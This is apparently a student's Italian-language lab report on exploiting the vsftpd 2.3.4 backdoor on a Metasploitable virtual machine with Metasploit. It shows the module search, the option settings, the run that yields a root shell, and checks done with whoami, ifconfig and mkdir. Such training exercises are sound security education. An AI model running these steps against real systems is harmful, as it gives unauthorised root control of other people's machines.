Progetto S7-L1

Studente: Simone Mininni

Task:Exploit del servizio ftp “vsftpd 2.3.4” della Metasploitable, con l’ ausilio di “Metasploit”, al fine di controllare la macchina da remoto con kali.

Per exploit si intende una procedura che tende a sfruttare una vulnerabilità intrinseca di un programma, servizio, protocollo informatico.

Nel nostro caso andremo a sfruttare una vulnerabilità nota del servizio ftp per i sistemi unix → vsftpd versione 2.3.4.
Protocollo questo che permette il trasferimento di file tra dispositivi sulla rete di default in ascolto sulla porta 21.

Prima di effettuare un attacco di questo tipo, è necessario capire se ci sono i presupposti, ovvero il servizio è attivo sulla macchina target.
Per questo effettuiamo una scansione con nmap del dispositivo target.

Abbiamo verificato che il target ha un servizio attivo sulla porta 21 ftp versione vsftpd 2.3.4.

A questo punto utilizziamo Metasploit per automatizzare il processo di exploit.
Metasploit nello specifico è un tool che contiene un database di vulnerabilità note, quindi potremo sfruttare gli exploit per quel tipo di vulnerabilità e anche il payload di quell’ exploit, ovvero un ponte che ci permette di caricare la shell nella macchina target e quindi controllarla da remoto.

Proseguendo cerchiamo su Metasploit il servizio vsftpd 2.3.4

```
msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Comman
d Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdo
or
```

Di fatto troviamo un exploit che mira a sfruttare una backdoor.

Vedendo i payload disponibili ne troviamo solo uno che utilizzeremo…

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                      normal  No     Unix Command, Interact with Established Connection
```

Successivamente vediamo le condizioni che devono essere soddisfatte per lanciare l‘attacco:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                       metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

In questo caso dobbiamo inserire solo l ‘ip del target. Per quanto riguarda il payload, non ci sono campi da inserire.

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format
   RHOSTS   192.168.56.102   yes       The target host(s), see
                                       metasploit.html
   RPORT    21               yes       The target port (TCP)
```

Abbiamo inserito l ‘ip del target, siamo pronti a lanciare l’ exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:39851 → 192.168.56.102:6200) at 2023-11-06 16:13:30 +0100
```

Come vediamo, la sessione è stata creata, abbiamo sfruttato la backdoor che ci fa entrare come root.

```
whoami
root
```

In un contesto del genere, per la vittima è game over. Con i privilegi root possiamo fare qualsiasi cosa…
Compariamo gli ifconfig delle due macchine per verificare l avvenuto exploit:

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:8d:82:ac
          inet addr:192.168.56.102  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe8d:82ac/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1859 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1315 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:128902 (125.8 KB)  TX bytes:129446 (126.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:143 errors:0 dropped:0 overruns:0 frame:0
          TX packets:143 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:44197 (43.1 KB)  TX bytes:44197 (43.1 KB)
```

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:8d:82:ac
          inet addr:192.168.56.102  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe8d:82ac/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1857 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1314 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:128753 (125.7 KB)  TX bytes:128428 (125.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:139 errors:0 dropped:0 overruns:0 frame:0
          TX packets:139 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:42153 (41.1 KB)  TX bytes:42153 (41.1 KB)
```

Le configurazioni di rete coincidono quindi abbiamo il controllo della Metasploitable.

Ai fini dell' esercizio creiamo una directory "/test_metasploit" nella dir "/root" con i privilegi di root.

```
mkdir /root/test_metasploit
ls /root
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

Verifichiamo anche sia presente dalla Metasploitable:

```
msfadmin@metasploitable:~$ ls /root
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:~$ _
```

In conclusione abbiamo dimostrato come si può entrare in una macchina pur non essendo un utente autorizzato, riuscendo a controllare la stessa. Un black hat potrebbe impadronirsi di dati importanti per una azienda, o fare azioni attive per mandare in down il sistema o installare malware come ransomware, ecc…
Fine.